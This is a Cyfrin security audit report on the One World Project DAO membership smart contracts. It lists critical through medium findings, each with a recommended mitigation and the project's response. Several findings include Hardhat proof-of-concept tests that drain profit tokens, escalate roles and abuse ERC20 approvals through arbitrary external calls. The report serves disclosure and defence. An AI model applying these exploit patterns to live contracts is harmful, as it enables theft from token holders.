One World Project Audit Report

Prepared by Cyfrin

Version 2.0

Lead Auditors

Immeas

Gio

October 29, 2024

Contents

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

The One World Project is a protocol that enables user identification and profit sharing for DAOs. DAO owners can issue ERC1155 tokens representing different membership tiers within their DAO. Users can join by paying a fee and earn a share of the profits, with their earnings proportional to their membership tier.

4.1 Actors and Roles

1. **Actors:**

- **One World Project**: The protocol provider that manages the contracts and collects fees from users joining DAOs.
- **DAO creators/owners**: Users who manage a DAO community and seek a way to share profits.
- **Users**: End-users who want to be members of a DAO and earn shares of the profit.

2. **Roles:**

- **MembershipFactory**:
  - `EXTERNAL_CALLER`: The role that can alter the details of any deployed DAO membership as well as perform arbitrary calls from the contract and all DAO membership contracts.
  - `DEFAULT_ADMIN_ROLE`: The role that can grant and revoke all other roles, change the implementation contract for `MembershipERC1155`, and modify `baseURI` and `CurrencyManager`.
- **MembershipERC1155**:
  - `OWP_FACTORY_ROLE`: The role that can mint and burn membership tokens as well as perform arbitrary calls from the `MembershipERC1155` contracts.
  - `DEFAULT_ADMIN_ROLE`: The role that can grant and revoke all other roles and change the `uri` for the membership token.

- **CurrencyManager**:
  - `ADMIN_ROLE`: The role that can add and remove supported currencies (tokens).
  - `DEFAULT_ADMIN_ROLE`: The role that can grant and revoke all other roles.
- **OWPIdentity**:
  - `MINTER_ROLE`: The role that can mint and burn `OWPIdentity` tokens.
  - `DEFAULT_ADMIN_ROLE`: The role that can grant and revoke all other roles and change the `uri` for the identity token.

4.2 Key Components

1. **MembershipFactory**: The key entry-point contract for users wanting to either create a DAO membership token or join an existing one.
2. **MembershipERC1155**: An ERC1155 token created by a DAO to manage tiered profit sharing.
3. **OWPIdentity**: A non-transferrable token that identifies a user within the One World Project ecosystem.
4. **Off-chain service**: Manages DAO tier configuration updates, burning of membership tokens and management of DAO funds.

4.3 MembershipFactory Flow

1. **Registering DAO**: A DAO creates a membership token with One World Project, providing necessary information such as name, type, maximum members, payment token, and tier configuration.
2. **Joining DAO**: Users can join the DAO by paying the configured price for their selected tier as long as the total amount of tokens at that tier is not exceeded.
3. **Distributing Profit**: Profit is sent to the membership token contract and distributed according to shares, proportional to the membership tier.
4. **Updating DAO**: Optional call to update the tier configuration for the specific DAO membership.
5. **Upgrading DAO Membership**: Optional call for a user to upgrade their tier if the DAO is of type SPONSORED.

4.4 Centralization

The `EXTERNAL_CALLER` role, utilized by the off-chain service, has unilateral control over critical contracts in the protocol. This off-chain service is intended to manage DAO tier configuration, DAO funds, and members, making it a critical component. This reliance introduces potential risks, including the possibility of private key or API key leaks. We encourage the protocol to adopt a more defensive and less centralized smart contract design to mitigate these risks. It should also be noted that Cyfrin has not audited the off-chain service, further underscoring the importance of ensuring its security.

5 Audit Scope

Cyfrin conducted an audit of One World Project based on the code present in the repository commit hash `416630e`.

The following contracts were included in the scope of the audit:

```
- dao/libraries/MembershipDAOStructs.sol
- dao/tokens/MembershipERC1155.sol
- dao/CurrencyManager.sol
- dao/MembershipFactory.sol
- meta-transaction/EIP712Base.sol
- meta-transaction/NativeMetaTransaction.sol
```

```
- OWPIdentity.sol
```

6 Executive Summary

Over the course of 7 days, the Cyfrin team conducted an audit on the One World Project smart contracts provided by One World Project. In this period, a total of 38 issues were found.

The review of the One World Project contracts identified two critical issues. The first involved a lack of synchronization of profits during the minting or transfer of membership DAO tokens. This flaw could allow an attacker to drain the Membership DAO token contract of all its tokens. The second issue was a privilege escalation vulnerability, where the DAO creator could escalate their privileges to mint or burn any membership tokens. More concerningly, they could execute arbitrary calls from the membership token contract, potentially allowing them to exploit and misuse any approvals granted by profit providers.

The review also uncovered two high-severity issues. In the first, a user could observe and front-run an upcoming profit distribution by purchasing a large number of membership shares in the DAO, allowing them to claim a disproportionate share of the profits, exploiting the system at the expense of existing members. The second and final high-severity issue is a centralization risk. The previously mentioned critical vulnerability also applies to the protocol owner, who could similarly exploit the system to steal approvals given to the `MembershipFactory`, with which all participating users are required to interact. In the event of a compromised protocol account, which is not uncommon, this could be severely abused.

Additionally, the audit discovered multiple medium- and low-risk issues. Although these issue are less severe, we still strongly recommended to address them.

The Hardhat test suite covers the main functionalities of the contracts, including basic testing of both happy and unhappy paths. The test suite was well-written and easy to work with.

Considering the number of issues identified, it is statistically likely that there are more complex bugs still present that could not be identified given the time-boxed nature of this engagement. Due to the number of issues identified, the non-trivial changes required during mitigation, and the short turnaround time for reviewing the mitigation fixes, it is recommended that a competitive audit be undertaken prior to deploying significant monetary capital to production.

Summary

Project Name	One World Project
Repository	smart-contracts-blockchain-1wp
Commit	416630e46ea6...
Audit Timeline	Oct 7th - Oct 15th
Methods	Manual Review

Issues Found

Critical Risk	2
High Risk	2
Medium Risk	8
Low Risk	5
Informational	20
Gas Optimizations	1
Total Issues	38

Summary of Findings

[C-1] `MembershipERC1155` profit tokens can be drained due to missing `lastProfit` synchronization when minting and claiming profit	Resolved
[C-2] DAO creator can inflate their privileges to mint/burn membership tokens, steal profits, and abuse approvals to `MembershipERC1155`	Resolved
[H-1] `MembershipERC1155::sendProfit` can be front-run by calls to `MembershipFactory::joinDAO` to steal profit from existing DAO members	Acknowledged
[H-2] One World Project has unilateral control over all DAOs, allowing the owner to update tier configurations, mint/burn membership tokens, steal profits, and abuse token approvals to `MembershipFactory` and `MembershipERC1155` proxy contracts	Acknowledged
[M-1] DAO name can be stolen by front-running calls to `MembershipFactory::createNewDAOMembership`	Acknowledged
[M-2] DAO membership fees cannot be retrieved by the creator	Acknowledged
[M-3] Meta transactions do not work with most of the calls in `MembershipFactory`	Resolved
[M-4] Tier restrictions for `SPONSORED` DAOs can be bypassed by calling `MembershipFactory::upgradeTier`	Acknowledged
[M-5] No membership restrictions placed on `PRIVATE` DAOs allows anyone to join	Acknowledged
[M-6] DAO membership can exceed `MembershipDAOStructs::DAOConfig.maxMembers`	Resolved
[M-7] Lowest tier (highest index) membership cannot be upgraded	Resolved
[M-8] DAO members have no option to leave	Acknowledged
[L-1] `MembershipERC1155` should use OpenZeppelin upgradeable base contracts	Resolved
[L-2] State update performed after external call in `MembershipERC1155::mint`	Resolved
[L-3] `TierConfig::price` is not validated to follow `TierConfig::power` which itself is not used or validated	Acknowledged
[L-4] DAOs of all types can be updated with a lower number of tiers and are not validated to be above zero	Resolved

[L-5] `NativeMetaTransaction::executeMetaTransaction` is unnecessarily `payable`	Resolved
[I-01] `MembershipERC1155` implementation contract can be initialized	Resolved
[I-02] Consider making `MembershipERC1155::totalSupply` `public`	Resolved
[I-03] Mixed use of `uint` and `uint256` in `MembershipERC1155`	Resolved
[I-04] Unnecessary storage gap in `MembershipERC1155` can be removed	Resolved
[I-05] `MembershipFactory::owpWallet` lacks explicitly declared visibility	Resolved
[I-06] Unnecessarily complex `ProxyAdmin` ownership setup	Acknowledged
[I-07] Upgrading DAO tier emits same event as minting the same tier	Acknowledged
[I-08] Inconsistent indentation formatting in `CurrencyManager`	Acknowledged
[I-09] Unused variables should be used or removed	Resolved
[I-10] Incorrect `EIP712Base` constructor documentation	Resolved
[I-11] `chainId` is used as the `EIP712Base::EIP712Domain.salt` in `DOMAIN_TYPEHASH`	Acknowledged
[I-12] Tier indexing is confusing	Acknowledged
[I-13] `MembershipFactory::tiers` will almost always return incorrect state	Resolved
[I-14] The Beacon proxy pattern is better suited to upgrading multiple instances of `MembershipERC1155`	Acknowledged
[I-15] DAO creators cannot freely update membership configuration	Acknowledged
[I-16] EIP-712 name and project symbol are misaligned	Resolved
[I-17] `OWPIdentity` token lacks a `name` and `symbol`	Resolved
[I-18] DAOs can be created with non-zero `TierConfig::minted`	Resolved
[I-19] `MembershipFactory::joinDAO` will not function correctly with fee-on-transfer tokens	Acknowledged
[I-20] Constants should be used in place of magic numbers	Resolved
[G-1] The `savedProfit` mapping will always return zero	Closed

7 Findings

7.1 Critical Risk

7.1.1 `MembershipERC1155` profit tokens can be drained due to missing `lastProfit` synchronization when minting and claiming profit

Description: When `MembershipERC1155:claimProfit` is called by a DAO member, the `lastProfit` mapping is updated to keep track of their claimed rewards; however, this state is not synchronized when minting/burning membership tokens or when transferring membership tokens to a new account.

Hence, when minting or transferring, a new user will be considered eligible for a share of previous profit from before they were a DAO member. Aside from the obvious case where a new DAO member claims profits at the expense of other existing members, this can be weaponized by recycling the same membership token between fresh accounts and claiming until the profit token balance of the `MembershipERC1155Contract` has been drained.

Impact: DAO members can claim profits to which they should not be entitled and malicious users can drain the `MembershipERC1155` contract of all profit tokens (including those from membership fees if paid in the same currency).

Proof of Concept: The following tests can be added to `describe("Profit Sharing")` in `MembershipERC1155.test.ts`:

```
it("lets users steal steal account balance by transferring tokens and claiming profit", async function
↪  () {
    await membershipERC1155.connect(deployer).mint(user.address, 1, 100);
    await membershipERC1155.connect(deployer).mint(anotherUser.address, 1, 100);
    await testERC20.mint(nonAdmin.address, ethers.utils.parseEther("20"));
    await testERC20.connect(nonAdmin).approve(membershipERC1155.address, ethers.utils.parseEther("20"));
    await membershipERC1155.connect(nonAdmin).sendProfit(testERC20.address,
    ↪  ethers.utils.parseEther("2"));
    const userProfit = await membershipERC1155.profitOf(user.address, testERC20.address);
    expect(userProfit).to.be.equal(ethers.utils.parseEther("1"));

    const beforeBalance = await testERC20.balanceOf(user.address);
    const initialContractBalance = await testERC20.balanceOf(membershipERC1155.address);

    // user claims profit
    await membershipERC1155.connect(user).claimProfit(testERC20.address);

    const afterBalance = await testERC20.balanceOf(user.address);
    const contractBalance = await testERC20.balanceOf(membershipERC1155.address);

    // users balance increased
    expect(afterBalance.sub(beforeBalance)).to.equal(userProfit);
    expect(contractBalance).to.equal(initialContractBalance.sub(userProfit));

    // user creates a second account and transfers their tokens to it
    const userSecondAccount = (await ethers.getSigners())[4];
    await membershipERC1155.connect(user).safeTransferFrom(user.address, userSecondAccount.address, 1,
    ↪  100, '0x');
    const newProfit = await membershipERC1155.profitOf(userSecondAccount.address, testERC20.address);
    expect(newProfit).to.be.equal(userProfit);

    // second account can claim profit
    const newBeforeBalance = await testERC20.balanceOf(userSecondAccount.address);
    await membershipERC1155.connect(userSecondAccount).claimProfit(testERC20.address);
    const newAfterBalance = await testERC20.balanceOf(userSecondAccount.address);
    expect(newAfterBalance.sub(newBeforeBalance)).to.equal(newProfit);

    // contract balance has decreased with twice the profit
    const contractBalanceAfter = await testERC20.balanceOf(membershipERC1155.address);
```

```
    expect(contractBalanceAfter).to.equal(initialContractBalance.sub(userProfit.mul(2)));
    expect(contractBalanceAfter).to.equal(0);

    // no profit left for other users
    const anotherUserProfit = await membershipERC1155.profitOf(anotherUser.address, testERC20.address);
    expect(anotherUserProfit).to.be.equal(ethers.utils.parseEther("1"));
    await expect(membershipERC1155.connect(anotherUser).claimProfit(testERC20.address)).to.be.revertedW
    ↪  ith("ERC20: transfer amount exceeds
    ↪  balance");
});

it("lets users steal steal account balance by minting after profit is sent", async function () {
    await membershipERC1155.connect(deployer).mint(user.address, 1, 100);
    await membershipERC1155.connect(deployer).mint(anotherUser.address, 1, 100);
    await testERC20.mint(nonAdmin.address, ethers.utils.parseEther("20"));
    await testERC20.connect(nonAdmin).approve(membershipERC1155.address, ethers.utils.parseEther("20"));
    await membershipERC1155.connect(nonAdmin).sendProfit(testERC20.address,
    ↪  ethers.utils.parseEther("2"));
    const userProfit = await membershipERC1155.profitOf(user.address, testERC20.address);
    expect(userProfit).to.be.equal(ethers.utils.parseEther("1"));

    const beforeBalance = await testERC20.balanceOf(user.address);
    const initialContractBalance = await testERC20.balanceOf(membershipERC1155.address);

    // user claims profit
    await membershipERC1155.connect(user).claimProfit(testERC20.address);

    const afterBalance = await testERC20.balanceOf(user.address);
    const contractBalance = await testERC20.balanceOf(membershipERC1155.address);

    // users balance increased
    expect(afterBalance.sub(beforeBalance)).to.equal(userProfit);
    expect(contractBalance).to.equal(initialContractBalance.sub(userProfit));

    // new user mints a token after profit and can claim first users profit
    const newUser = (await ethers.getSigners())[4];
    await membershipERC1155.connect(deployer).mint(newUser.address, 1, 100);
    const newProfit = await membershipERC1155.profitOf(newUser.address, testERC20.address);
    expect(newProfit).to.be.equal(ethers.utils.parseEther("1"));

    // new user can claim profit
    const newBeforeBalance = await testERC20.balanceOf(newUser.address);
    await membershipERC1155.connect(newUser).claimProfit(testERC20.address);
    const newAfterBalance = await testERC20.balanceOf(newUser.address);
    expect(newAfterBalance.sub(newBeforeBalance)).to.equal(newProfit);

    // contract balance has decreased with twice the profit
    const contractBalanceAfter = await testERC20.balanceOf(membershipERC1155.address);
    expect(contractBalanceAfter).to.equal(initialContractBalance.sub(userProfit.mul(2)));
    expect(contractBalanceAfter).to.equal(0);

    // no profit left for first users
    const anotherUserProfit = await membershipERC1155.profitOf(anotherUser.address, testERC20.address);
    expect(anotherUserProfit).to.be.equal(ethers.utils.parseEther("1"));
    await expect(membershipERC1155.connect(anotherUser).claimProfit(testERC20.address)).to.be.revertedW
    ↪  ith("ERC20: transfer amount exceeds
    ↪  balance");
});
```

Recommended Mitigation: Consider overriding `ERC1155::_beforeTokenTransfer` to take a snapshot of the profit

state whenever relevant actions are performed.

One World Project: Updated code structure, removed redundant code. Updated rewards on token transfers in a3980c1 and a836386

Cyfrin: Verified. Rewards are now updated in the `ERC1155Upgradeable::_update` which will apply to all movement of tokens.

7.1.2 DAO creator can inflate their privileges to mint/burn membership tokens, steal profits, and abuse approvals to `MembershipERC1155`

Description: During the creation of a new DAO, the `MembershipFactory` contract is granted the `OWP_FACTORY_ROLE` which has special privileges to mint/burn tokens and execute any arbitrary call via `MembershipERC1155::callExternalContract`. Additionally, the calling account is granted the `DEFAULT_ADMIN_ROLE`; however, as documented, this bestows the power to manage all other roles as well.

This means that the creator of a given DAO can grant themselves the `OWP_FACTORY_ROLE` by calling `AccessControl::grantRole` and has a number of implications:

- Profit tokens can be stolen from callers of `MembershipERC1155:sendProfit`, either by front-running and/or abusing dangling approvals.
- The DAO creator has unilateral control of the DAO and its membership tokens, so can mint/burn to/from any address.
- Profit can be stolen from the DAO by front-running a call to `MembershipERC1155::sendProfit` with a call to `MembershipERC1155::burnBatchMultiple` to ensure that this conditional block is executed by causing the total supply of membership tokens to become zero. Alternatively, they can wait for the call to be executed and transfer the tokens directly using the arbitrary external call.

```
if (_totalSupply > 0) {
    totalProfit[currency] += (amount * ACCURACY) / _totalSupply;
    IERC20(currency).safeTransferFrom(msg.sender, address(this), amount);
    emit Profit(amount);
} else {
    IERC20(currency).safeTransferFrom(msg.sender, creator, amount); // Redirect profit to creator if no
    ↪  supply
}
```

It is also prescient to note that this issue exists in isolation as a centralization risk of the One World Project owner itself, as detailed in a separate finding, who controls the `MembershipFactory` contract and thus all DAOs via `MembershipFactory::callExternalContract`.

Impact: The creator of a DAO can escalate their privileges to have unilateral control and steal profits from its members, as well as abusing any profit token approvals to the contract. All of the above is also possible for the One World Project owner, who has control of the factory and thus all DAOs created by it.

Proof of Concept: The following test can be added to `describe("ERC1155 and AccessControl Interface Support")` in `MembershipERC1155.test.ts`:

```
it("can give OWP_FACTORY_ROLE to an address and abuse priviliges", async function () {
    const [factory, creator, user] = await ethers.getSigners();
    const membership = await MembershipERC1155.connect(factory).deploy();
    await membership.deployed();
    await membership.initialize("TestToken", "TST", tokenURI, creator.address);

    await membership.connect(creator).grantRole(await membership.OWP_FACTORY_ROLE(), creator.address);
    expect(await membership.hasRole(await membership.OWP_FACTORY_ROLE(), creator.address)).to.be.true;

    // creator can mint and burn at will
    await membership.connect(creator).mint(user.address, 1, 100);
    await membership.connect(creator).burn(user.address, 1, 50);
```

```
    await testERC20.mint(user.address, ethers.utils.parseEther("1"));
    await testERC20.connect(user).approve(membership.address, ethers.utils.parseEther("1"));

    const creatorBalanceBefore = await testERC20.balanceOf(creator.address);

    // creator can abuse approvals
    const data = testERC20.interface.encodeFunctionData("transferFrom", [user.address, creator.address,
    ↪  ethers.utils.parseEther("1")]);
    await membership.connect(creator).callExternalContract(testERC20.address, data);

    const creatorBalanceAfter = await testERC20.balanceOf(creator.address);
    expect(creatorBalanceAfter.sub(creatorBalanceBefore)).to.equal(ethers.utils.parseEther("1"));
});
```

Recommended Mitigation: Implement more fine-grained access controls for the DAO creator instead of granting the `DEFAULT_ADMIN_ROLE`.

One World Project: Given a separate role to the creator in a6b9d82.

Cyfrin: Verified. `creator` now has a separate role `DAO_CREATOR` that can only change URI.

7.2 High Risk

7.2.1 `MembershipERC1155::sendProfit` can be front-run by calls to `MembershipFactory::joinDAO` to steal profit from existing DAO members

Description: Profit is distributed to DAO members following a call to `MembershipERC1155::sendProfit` which increases the profit per share tracked in `totalProfit`. Due to the absence of any sort of profit-sharing delay upon joining the DAO, another user with sufficient financial motivation could see this transaction and buy up a large stake in the DAO before it is executed. This would entitle them to a claim on the newly-added profits at the expense of existing DAO members.

Impact: Calls to `MembershipERC1155::sendProfit` can be front-run, unfairly decreasing the profit paid out to existing DAO members.

Proof of Concept: The following test can be added to `describe("Join DAO")` in `MembershipFactory.test.ts`:

```
it("lets users front-run profit distribution", async function () {
  const tierIndex = 0;
  await testERC20.mint(addr1.address, ethers.utils.parseEther("1"));
  await testERC20.connect(addr1).approve(membershipFactory.address, TierConfig[tierIndex].price);
  await testERC20.mint(addr2.address, ethers.utils.parseEther("1"));
  await testERC20.connect(addr2).approve(membershipFactory.address, ethers.utils.parseEther("1"));
  await testERC20.mint(owner.address, ethers.utils.parseEther("1"));
  await testERC20.connect(owner).approve(membershipERC1155.address, ethers.utils.parseEther("1"));
  // user1 joins
  await membershipFactory.connect(addr1).joinDAO(membershipERC1155.address, tierIndex);

  // time passes

  // user2 sees a pending sendProfit tx and front-runs it by buying a lot of membership tokens
  // this can be done with a deployed contract
  for(let i = 0; i < 9; i++) {
    await membershipFactory.connect(addr2).joinDAO(membershipERC1155.address, tierIndex);
  }

  // send profit tx is executed
  await membershipERC1155.sendProfit(testERC20.address, ethers.utils.parseEther("1"));

  const addr1Profit = await membershipERC1155.profitOf(addr1.address, testERC20.address);
  const addr2Profit = await membershipERC1155.profitOf(addr2.address, testERC20.address);

  // user2 has gotten 9x the profit of user1
  expect(addr1Profit).to.equal(ethers.utils.parseEther("0.1"));
  expect(addr2Profit).to.equal(ethers.utils.parseEther("0.9"));
});
```

Recommended Mitigation: Consider implementing a membership delay, after which profit sharing is activated.

One World Project: Membership must be purchased, and if a user wishes to acquire a significant number of shares to potentially front-run the sendProfit function, they would need to spend a much larger amount than the profit they would gain.

Cyfrin: Acknowledged. However, since the One World Project neither controls the distribution of profits nor the timing of user participation, it cannot enforce limitations that would prevent a scenario where the financial incentives exceed the cost of membership entry. In cases where the profit distribution is significant, the situation could become financially viable for participants, even if unintended. As the protocol does not have control over these variables, it cannot prevent a DAO from inadvertently creating this scenario. Therefore, we recommend that the One World Project clearly communicate this potential risk in its documentation during the onboarding of new DAOs.

7.2.2 One World Project has unilateral control over all DAOs, allowing the owner to update tier configurations, mint/burn membership tokens, steal profits, and abuse token approvals to `MembershipFactory` and `MembershipERC1155` proxy contracts

Description: When the `MembershipFactory` contract is deployed, the `EXTERNAL_CALLER` role is granted to the caller. This allows the One World Project to update the tiers configurations for a specific DAO via `MembershipFactory::updateDAOMembership` and execute any arbitrary call via `MembershipFactory::callExternalContract`. Additionally, during the creation of a new DAO, the `MembershipFactory` contract is granted the `OWP_FACTORY_ROLE` which has special privileges to mint/burn tokens and execute any arbitrary call via `MembershipERC1155::callExternalContract`.

While unilateral control over DAO tier configurations alone is prescient to note, the chaining of `MembershipFactory::callExternalContract` and `MembershipERC1155::callExternalContract` calls is incredibly dangerous without any restrictions on the target function selectors and contracts to be called. As a consequence, similar to the other privilege escalation vulnerability, the One World Project owner has the ability to arbitrarily mint/burn membership tokens for all DAOs, steal profits, and abuse approvals to `MembershipERC1155` proxy contracts. Furthermore, `MembershipFactory::callExternalContract` can be used to abuse approvals given to this contract directly, by front-running or otherwise – if a user sets the maximum `uint256` allowance on joining a DAO, the One World Project owner could drain their entire token balance for the given currency.

Impact: The One World Project owner has unilateral control of the `MembershipFactory` contract and thus all DAOs created by it, meaning profits can be stolen from its members and profit token approvals to the proxy contracts abused. The One World Project owner could also drain the balances of any tokens with dangling approvals to the `MembershipFactory` contract. This is especially problematic if the owner address becomes compromised in any way.

Proof of Concept: The following test can be added to `describe("Call External Contract")` in `MembershipFactory.test.ts`:

```
it("allows admin to have unilateral power", async function() {
  await testERC20.mint(addr1.address, ethers.utils.parseEther("2"));
  await testERC20.connect(addr1).approve(membershipFactory.address, ethers.utils.parseEther("1"));

  await currencyManager.addCurrency(testERC20.address);  // Assume addCurrency function exists in
  ↪  CurrencyManager
  const tx = await membershipFactory.createNewDAOMembership(DAOConfig, TierConfig);
  const receipt = await tx.wait();
  const event = receipt.events.find((event:any) => event.event === "MembershipDAONFTCreated");
  const nftAddress = event.args[1];
  const membershipERC1155 = await MembershipERC1155.attach(nftAddress);

  let ownerBalanceBefore = await testERC20.balanceOf(owner.address);

  // admin can steal approvals made to factory
  const transferData = testERC20.interface.encodeFunctionData("transferFrom", [addr1.address,
  ↪  owner.address, ethers.utils.parseEther("1")]);
  await membershipFactory.callExternalContract(testERC20.address, transferData);

  let ownerBalanceAfter = await testERC20.balanceOf(owner.address);
  expect(ownerBalanceAfter.sub(ownerBalanceBefore)).to.equal(ethers.utils.parseEther("1"));

  // admin can mint/burn any DAO membership tokens
  const mintData = membershipERC1155.interface.encodeFunctionData("mint", [owner.address, 1, 100]);
  await membershipFactory.callExternalContract(nftAddress, mintData);

  let ownerBalanceERC1155 = await membershipERC1155.balanceOf(owner.address, 1);
  expect(ownerBalanceERC1155).to.equal(100);

  const burnData = membershipERC1155.interface.encodeFunctionData("burn", [owner.address, 1, 50]);
  await membershipFactory.callExternalContract(nftAddress, burnData);
```

```
  ownerBalanceERC1155 = await membershipERC1155.balanceOf(owner.address, 1);
  expect(ownerBalanceERC1155).to.equal(50);

  // admin can abuse approvals to any membership tokens as well
  await testERC20.connect(addr1).approve(membershipERC1155.address, ethers.utils.parseEther("1"));

  ownerBalanceBefore = await testERC20.balanceOf(owner.address);

  const data = membershipERC1155.interface.encodeFunctionData("callExternalContract",
  ↪  [testERC20.address, transferData]);
  await membershipFactory.callExternalContract(membershipERC1155.address, data);

  ownerBalanceAfter = await testERC20.balanceOf(owner.address);
  expect(ownerBalanceAfter.sub(ownerBalanceBefore)).to.equal(ethers.utils.parseEther("1"));
});
```

Recommended Mitigation: Implement restrictions on the target contracts and function selectors to be invoked by the arbitrary external calls to prevent abuse of the `MembershipFactory` contract ownership.

One World Project: The `EXTERNAL_CALLER` wallet is securely stored in AWS Secrets Manager in the backend, with no access granted to any individual. This wallet is necessary to execute on-chain transactions for off-chain processes. Further the executable functions are not defined to specific function-signatures, because in future this contract may be required to interact with contracts to distribute funds to projects or perform other tasks through the DAO, by executing through off-chain approvals

Cyfrin: Acknowledged. While AWS Secrets Manager adds security, private key or API key leaks remain a risk.

7.3 Medium Risk

7.3.1 DAO name can be stolen by front-running calls to `MembershipFactory::createNewDAOMembership`

Description: When `MembershipFactory::createNewDAOMembership` is called, the newly created `MembershipERC1155` instance it is associated with a name, `ensname`:

```
require(getENSAddress[daoConfig.ensname] == address(0), "DAO already exist.");
```

However, this call can be front-run by a malicious user who sees that another creator is setting up a One World Project membership token and "steals" their name by registering the same name before them.

Impact: Anyone can front-run the creation of a DAO membership. This could be used for creating honey pots or just to grief the DAO creator.

Recommended Mitigation: Consider validating that the DAO creator is associated with the corresponding ENS name. Alternatively, allow the name to be any string and use a concatenation of the creator and name as a key.

One World Project: The DAO name is not necessarily an ENS name, and can be any string. If any name is not available the dao creator is made aware in the frontend website beforehand, and they are free to choose any other name or variation of that name. The name is kept in string format to help the dao creators identify/remember their daos easily without have to remember any ids

If someone is able to create a DAO with that name before you then they are allowed to, and the user would have to choose a different name or variation for their DAO. It is solely up to the DAO creators to decide the DAO names however they like.

Cyfrin: Acknowledged.

7.3.2 DAO membership fees cannot be retrieved by the creator

Description: The DAO membership fee taken from users who invoke `MembershipFactory::joinDAO` is split between the One World Project and the DAO creator, being sent to the One World Project wallet and DAO `MembershipERC1155` instance respectively:

```
uint256 tierPrice = daos[daoMembershipAddress].tiers[tierIndex].price;
uint256 platformFees = (20 * tierPrice) / 100;
daos[daoMembershipAddress].tiers[tierIndex].minted += 1;
IERC20(daos[daoMembershipAddress].currency).transferFrom(msg.sender, owpWallet, platformFees);
IERC20(daos[daoMembershipAddress].currency).transferFrom(msg.sender, daoMembershipAddress, tierPrice -
↪  platformFees);
```

However, the fees sent to the `daoMembershipAddress` are not accessible to the DAO creator as there is no method for direct retrieval. The only way these funds can be retrieved and sent to the creator is if the `MembershipFactory::EXTERNAL_CALLER` role invokes `MembershipERC1155::callExternalContract` via `MembershipFactory::callExternalContract`, allowing arbitrary external calls to be executed.

Impact: The DAO creator has no direct method for retrieving the membership fees paid to their `MembershipERC1155` instance, ignoring rescue initiated by the `EXTERNAL_CALLER` role.

Proof of Concept: The following test can be added to `describe("Create New DAO Membership")` in `MembershipFactory.test.ts`:

```
it("only allows owner to recover dao membership fees", async function () {
  await currencyManager.addCurrency(testERC20.address);
  const creator = addr1;

  await membershipFactory.connect(creator).createNewDAOMembership(DAOConfig, TierConfig);

  const ensAddress = await membershipFactory.getENSAddress("testdao.eth");
  const membershipERC1155 = await MembershipERC1155.attach(ensAddress);
```

```
  await testERC20.mint(addr2.address, ethers.utils.parseEther("20"));
  await testERC20.connect(addr2).approve(membershipFactory.address, ethers.utils.parseEther("20"));
  await expect(membershipFactory.connect(addr2).joinDAO(membershipERC1155.address,
  ↪  1)).to.not.be.reverted;

  // fees are in the membership token but cannot be retrieved by the creator
  const daoMembershipBalance = await testERC20.balanceOf(membershipERC1155.address);
  expect(daoMembershipBalance).to.equal(160); // minus protocol fee

  const creatorBalanceBefore = await testERC20.balanceOf(creator.address);

  // only admin can recover them
  const transferData = testERC20.interface.encodeFunctionData("transfer", [creator.address, 160]);
  const data = membershipERC1155.interface.encodeFunctionData("callExternalContract",
  ↪  [testERC20.address, transferData]);
  await membershipFactory.callExternalContract(membershipERC1155.address, data);

  const creatorBalanceAfter = await testERC20.balanceOf(creator.address);
  expect(creatorBalanceAfter.sub(creatorBalanceBefore)).to.equal(160);
});
```

Recommended Mitigation: Consider adding a method for the creator of the DAO to retrieve the membership fees paid by users upon joining the DAO.

One World Project: The DAO creator is deliberately, by design, not allowed to access the DAO funds. They have to be accessed through the `callExternalContract` which can only be called by the `EXTERNAL_CONTRACT` which does its own verifications in the backend.

Cyfrin: Acknowledged. This dependency introduces additional risks, and we recommend ensuring the off-chain service meets stringent security standards.

7.3.3 Meta transactions do not work with most of the calls in `MembershipFactory`

Description: `MembershipFactory` uses a custom meta transactions implementation by inheriting `NativeMetaTransaction` which allow a relayer to pay the transaction fees on behalf of a user. This is achieved by following the same standard as ERC2771, where the user signs a transaction that is forwarded by a relayer and executed with the signing user's address appended to the `msg.data`.

Therefore, `msg.sender` cannot be used to retrieve the actual sender of a transaction as this will be the relayer in the case of `NativeMetaTransaction::executeMetaTransaction` being called. As already implemented here, the solution is to utilize a `_msgSender()` function that retrieves the signing user from the last 20 bytes of the `msg.data` in these cases.

For this reason, the following functions in `MembershipFactory` are problematic:

- `MembershipFactory::createNewDAOMembership` [1, 2].
- `MembershipFactory::joinDAO` [1, 2, 3, 4].
- `MembershipFactory::upgradeTier` [1, 2, 3].

Impact: None of the above calls will work properly in combination when originated via `NativeMetaTransaction::executeMetaTransaction`, with `MembershipFactory::createNewDAOMembership` being the most problematic as it will create the DAO membership token with the `MembershipFactory` contract address as the `creator`. `MembershipFactory::joinDAO` and `MembershipFactory::upgradeTier` will most likely just revert as they require the `msg.sender` (`MembershipFactory`) to hold either `MembershipERC1155` tokens or payment `ERC20` tokens, which it shouldn't.

Proof of Concept: Test that can be added in `MembershipFactory.test.ts`:

```
describe("Native meta transaction", function () {
  it("Meta transactions causes creation to use the wrong owner", async function () {
    await currencyManager.addCurrency(testERC20.address);

    const { chainId } = await ethers.provider.getNetwork();
    const salt = ethers.utils.hexZeroPad(ethers.utils.hexlify(chainId), 32)

    const domain = {
      name: 'OWP',
      version: '1',
      salt: salt,
      verifyingContract: membershipFactory.address,
    };
    const types = {
      MetaTransaction: [
        { name: 'nonce', type: 'uint256' },
        { name: 'from', type: 'address' },
        { name: 'functionSignature', type: 'bytes' },
      ],
    };
    const nonce = await membershipFactory.getNonce(addr1.address);
    const metaTransaction = {
      nonce,
      from: addr1.address,
      functionSignature: membershipFactory.interface.encodeFunctionData('createNewDAOMembership',
      ↪  [DAOConfig, TierConfig]),
    };
    const signature = await addr1._signTypedData(domain, types, metaTransaction);
    const {v,r,s} = ethers.utils.splitSignature(signature);

    const tx = await membershipFactory.executeMetaTransaction(metaTransaction.from,
    ↪  metaTransaction.functionSignature, r, s, v);
    const receipt = await tx.wait();
    const event = receipt.events.find((event:any) => event.event === "MembershipDAONFTCreated");
    const nftAddress = event.args[1];
    const creator = await MembershipERC1155.attach(nftAddress).creator();

    // creator becomes the membership factory not addr1
    expect(creator).to.equal(membershipFactory.address);
  });
});
```

